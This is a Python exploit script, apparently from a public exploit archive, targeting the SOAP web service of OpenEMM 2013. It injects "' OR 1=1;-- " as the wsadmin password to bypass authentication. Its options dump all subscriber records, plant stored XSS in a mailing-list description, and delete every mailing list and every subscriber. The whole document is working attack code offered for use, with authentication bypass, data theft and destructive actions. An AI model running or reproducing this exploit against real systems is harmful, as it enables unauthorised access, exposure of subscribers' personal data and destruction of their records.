import os
import sys
from SOAPpy import WSDL
from argparse import ArgumentParser
from re import sub
# Exploit Title: OpenEMM 2013 SQL Injection / Stored XSS
# Date: 07/20/2013
# Exploit Author: drone (@dronesec)
# More information (and required WSDL file):
# http://forelsec.blogspot.com/2013/07/openemm-2013-810380hf130066-soap-sql.html
# Vendor Homepage: http://www.openemm.org/
# Software Link: https://downloads.sourceforge.net/project/openemm/OpenEMM%20software/OpenEMM%202013/OpenEMM-2013-bin.tar.gz
# Version: 2013 (8.10.380.hf13.0.066)
# Tested on: Ubuntu 12.04
""" Exploits a host of vulnerabilities discovered in OpenEMM.
Required ws.wsdl file should be in local directory.
"""
def run(options):
""" run exploit
"""
wsdl_file = "./ws.wsdl"
sploit = "\\' OR 1=1;-- "
_server = WSDL.Proxy(wsdl_file)
if options.subscribers:
# iterate until we get a null response
idx = 1
while True:
ret = _server.getSubscriber("wsadmin", sploit, idx)
if ret.paramValues == '':
print '[!] Discovered %d subscribers'%(idx-1)
break
print ret.paramValues
idx += 1
elif options.mlist:
try:
print '[!] Description field vulnerable to stored xss!'
description = raw_input('[!] Enter mlist description: ')
except:
description = ''
ret = _server.addMailinglist('wsadmin', sploit, options.mlist, description)
if ret > 0: print '[!] Saved successfully'
else: print '[!] Save unsuccessful'
elif options.dmlist:
print '[!] Deleting all mailing lists...'
idx = 1
while True:
ret = _server.deleteMailinglist('wsadmin', sploit, idx)
if ret == 0:
print '[!] Deleted %d mailing lists.'%idx
break
idx += 1
elif options.dsubs:
print '[!] Deleting all subscribers...'
idx = 1
while True:
ret = _server.deleteSubscriber('wsadmin', sploit, idx)
if ret == 0:
print '[!] Deleted %d subscribers.'%idx
break
idx += 1
def parse_args():
""" parse args and sub in the desired IP
"""
parser = ArgumentParser()
parser.add_argument('-i', help='server address', action='store',
dest='host', required=True)
parser.add_argument('-s', help='fetch all subscribers', action='store_true',
dest='subscribers')
parser.add_argument('-m', help='create new mailing list (XSS)', action='store',
dest='mlist')
parser.add_argument('--dm', help='delete all mailing lists', action='store_true',
dest='dmlist')
parser.add_argument('--ds', help='delete all subscribers', action='store_true',
dest='dsubs')
options = parser.parse_args()
try:
# sub in server address
with open('ws.wsdl', 'r') as f:
out = open('tmp.wsdl', 'w+')
for line in f:
line = sub('location="(.*?)"',
'location="http://{0}:8080/emm_webservice"'.format(options.host),
line)
out.write(line)
out.close()
except IOError:
print '[-] ws.wsdl not found'
sys.exit(1)
# replace ws.wsdl with temp one
os.system('mv tmp.wsdl ws.wsdl')
return options
if __name__ == "__main__":
options = parse_args()
run(options)
